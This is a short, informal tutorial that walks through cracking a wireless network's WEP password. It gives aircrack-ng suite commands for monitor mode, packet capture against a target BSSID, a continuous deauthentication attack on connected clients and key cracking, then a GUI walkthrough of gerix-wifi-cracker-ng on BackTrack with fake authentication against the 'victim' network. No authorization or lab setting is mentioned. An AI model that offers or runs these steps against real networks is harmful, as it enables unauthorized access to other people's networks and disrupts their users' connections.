1. Start kali linux and open terminal in kali linux.
2. Type command : airmon-ng
(Check weather your wireless card is avilable and working properly)
3. Type command : airmon-ng start wlan0
(put your wireless card in monitoring mode as wifi crack is possible in monitoring mode only)
4. Type command: airodump-ng mon0
(command to listen to the wireless network around you and get details about them.)
5. Type command : airodump-ng –w File name of packet to save –c Target channel no --bssid BSSID of target name mon0
( eg: airodump-ng –w MTNL-01 –c 3 --bssid 11:22:33:44:55:66 mon0)
(command start capturing the packet to crack the wifi password.)
6. Type command : aireplay-ng -0 0 -a 11:22:33:44:55:66 mon0
(Above command help to capture the packet more faster. if there is only few packets coming then you can try to deauth to generate more data packets with following command)
7. Type command:aircrack-ng MTNL-01.cap
( AirCrack to crack the WEP key )
Open BackTrack 5 R3.
> Go to Applications > BackTrack > Exploitation Tools > Wireless Exploitation Tools > WLAN Exploitation > gerix-wifi-cracker-ng.
> Open Configuration tab.
> Select interface from the list and click Enable/Disable Monitor Mode button.
>scan networks button to get a list of all available wireless networks for all channels.
> Select a target wireless network
> Open WEP tab.
> Click Start Sniffing and Logging.
> Open WEP Attacks (no-client).
> Click button Start false access point Authentication on victim.
> After having collected a few packages (at least 10000packets) cancel and close opened terminal windows.
> Open Cracking tab in Gerix.
> Click button, Aircrack-ng – Decrypt WEP password.